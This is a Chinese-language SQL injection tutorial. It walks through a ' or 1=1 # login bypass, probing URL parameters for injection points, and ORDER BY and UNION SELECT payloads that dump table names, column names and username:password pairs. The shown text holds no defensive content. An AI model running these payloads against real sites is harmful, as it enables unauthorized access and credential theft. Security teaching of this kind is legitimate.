SQL注入是指通过构建特殊的输入篡改原来的SQL语句达到攻击者所需的操作。
我们访问动态网页时往往会向服务器发送请求,服务器向数据访问层发起 Sql 查询请求,若验证通过就会执行 Sql 语句。如果用户输入的数据被构造成恶意Sql代码,如果程序没有细致地过滤用户输入的数据则会使非法数据侵入系统。
登录案例讲解
select * from admin where uname='用户名' and pwd='密码'
输入 'or 1=1 #(–空格或–+或#:注释掉后面的sql语句)
这时SQL语句变为:select * from admin where uname='' or 1=1 # and pwd='密码'
,这时SQL语句永远成立,绕过登录。
通过在URL中修改对应的ID值,为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠来探测URL中是否有注入点。
可登陆到mituan.zone进行测试
1、' '1'' LIMIT 0,1
' :多了一个单引号
可猜测SQL语句为:select login_name,password from admin where id = 'id' limit 0,1
2、' ' LIMIT 0,1
':多了一个单引号
可猜测SQL语句为:select login_name,password from admin where id = id limit 0,1
3、' '1'') LIMIT 0,1
':多了一个单引号
可猜测SQL语句为:select login_name,password from admin where id = ('id') limit 0,1
4、单引号、括号都不报错说明被接收的是字符串类型' "1"") LIMIT 0,1
':多了一个双引号
可猜测SQL语句为:select login_name,password from admin where id = ("id") limit 0,1
…
1、利用order by判断字段数
order by n(n为猜测字段数)--+
以案例一为例
select login_name,password from admin where id = 'id' limit 0,1 用?id=1' order by 11--+
猜测错误时则会报错
此时探测到有3个字段,用?id=0' union select 1,2,3--+
探测到Login_name在第二列,Password在第三列,则第二、三列可利用。
将?id=0' union select 1,2,3--+
2,3改为user():查看当前MYSQL登录用户名,database():查看当前使用MYSQL数据库名,version():查看当前MYSQL版本,如改为?id=0'union select 1,user(),database()--+
得到下图中信息
2、利用union select 联合查询,获取表名。(在使用union select时要将前面的SQL语句报错)
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
3、利用union select 联合查询,获取字段名。(以上面查询到的users表为例)
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
4、利用union select 联合查询,获取字段值。(以上面查询到的users表为例)
union select 1,group_concat(username,0x3a,password),3 from users--+ (0x3a为冒号,用来分隔不同字段的值)
如果是地址栏不能显示信息的POST形式则可以在对话框中输入注入语句
这里使用的方法和在地址栏中的输入一样,都是先报错前面的SQL语句再使用union select联合查询拿出表中数据
到此这篇关于SQL注入的实现以及防范的文章就介绍到这了,更多相关SQL注入实现及防范内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!
上一篇:如何自己动手写SQL执行引擎